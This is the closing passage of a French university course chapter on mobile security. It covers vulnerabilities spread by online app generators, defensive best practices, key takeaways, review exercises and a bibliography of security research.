Le développement « citoyen » (*citizen developer*) et les générateurs d'applications en ligne (*Online Application Generators*, OAG) permettent de produire rapidement des applications sans expertise en sécurité. Une étude à grande échelle sur le Google Play Store a montré que ces applications représentent une part non négligeable du magasin, et surtout que les faiblesses du générateur — mauvaise utilisation de la cryptographie, gestion défaillante des permissions ou des données — se propagent **automatiquement à toutes les applications qu'il produit** (Oltrogge *et al.*, 2018).

Effet d'amplification

Parce qu'une même plateforme OAG génère des milliers d'applications à partir du même code de base, une seule vulnérabilité dans le générateur peut se retrouver démultipliée à grande échelle sur le store, bien au-delà de ce qu'un développeur individuel pourrait causer seul.

La vigilance et la revue de sécurité restent donc nécessaires même pour ces applications, y compris lorsque leur développeur n'a pas écrit lui-même le code généré.

8.7 Contre-mesures et bonnes pratiques mobiles

— Chiffrer les données sensibles au repos et en transit avec des algorithmes et paramètres à l'état de l'art.

— Appliquer le principe du moindre privilège aux permissions et n'en demander que le strict nécessaire.

— Sécuriser les communications (TLS correctement configuré, validation des certificats — voir chapitre 4).

— Fournir une politique de confidentialité valide et limiter le partage de données avec des tiers.

— Distribuer via des magasins officiels, signer les applications et maintenir les composants à jour.

— Auditer le code, y compris celui généré automatiquement, avant mise en production.

Points clés à retenir

— Les plateformes mobiles isolent les applications (sandbox), imposent des permissions et la signature des applications.

— Les applications mobiles souffrent souvent d'absence ou de mauvaise utilisation du chiffrement (ECB, IV fixes, algorithmes obsolètes) : dans le secteur m-health, 63,6 % des applications envoient des données non chiffrées.

— La vie privée est fréquemment menacée par des partages de données non déclarés et des politiques de confidentialité invalides (enjeu RGPD).

— Les réseaux mobiles subissent des attaques de confidentialité, d'intégrité, de disponibilité et d'authentification à plusieurs points d'entrée.

— Les générateurs d'applications automatiques peuvent propager une même vulnérabilité à des milliers d'applications.

— Le chiffrement, bien employé, protège les données au repos et en transit et fonde l'authentification.

Questions et exercices

1. Décrivez le modèle de permissions d'Android et la distinction entre permissions normales et dangereuses.
2. Donnez trois exemples de mauvaise utilisation de la cryptographie dans les applications mobiles.
3. Classez quatre attaques sur les réseaux mobiles selon la propriété de sécurité visée.
4. En vous appuyant sur les chiffres de l'étude sur les applications m-health, expliquez pourquoi l'utilisation de HTTPS seule ne suffit pas à protéger un mot de passe transmis par une requête `GET`.
5. En quoi les générateurs d'applications peuvent-ils propager des vulnérabilités à grande échelle ?
6. Expliquez le rôle du chiffrement pour les données au repos et en transit sur un terminal mobile.

Sources du chapitre : canevas officiel du module (UEF322, chapitre 8) ; statistiques et résultats d'étude cités explicitement dans le texte : S. Mavoungou et al. (2016), A. Papageorgiou et al. (2018), M. Oltrogge et al. (2018) – voir références bibliographiques en fin de document.

Références bibliographiques

1. M. Zalewski, *The Tangled Web : A Guide to Securing Modern Web Applications*, 1re éd., No Starch Press, San Francisco, 2011.
2. M. Oltrogge, E. Derr, C. Stransky, Y. Acar, S. Fahl, C. Rossow, G. Pellegrino, S. Bugiel, M. Backes, « The Rise of the Citizen Developer : Assessing the Security Impact of Online App Generators », *IEEE Symposium on Security and Privacy (S&P)*, 2018, p. 634–647.
3. A. Papageorgiou, M. Strigkos, E. Politou, E. Alepis, A. Solanas, C. Patsakis, « Security and Privacy Analysis of Mobile Health Applications : The Alarming State of Practice », *IEEE Access*, vol. 6, 2018.
4. S. Mavoungou, G. Kaddoum, M. Taha, G. Matar, « Survey on Threats and Attacks on Mobile Networks », *IEEE Access*, vol. 4, 2016.
5. OWASP Foundation, « OWASP Top 10 » (version 2021) — document de référence sur les risques de sécurité des applications Web.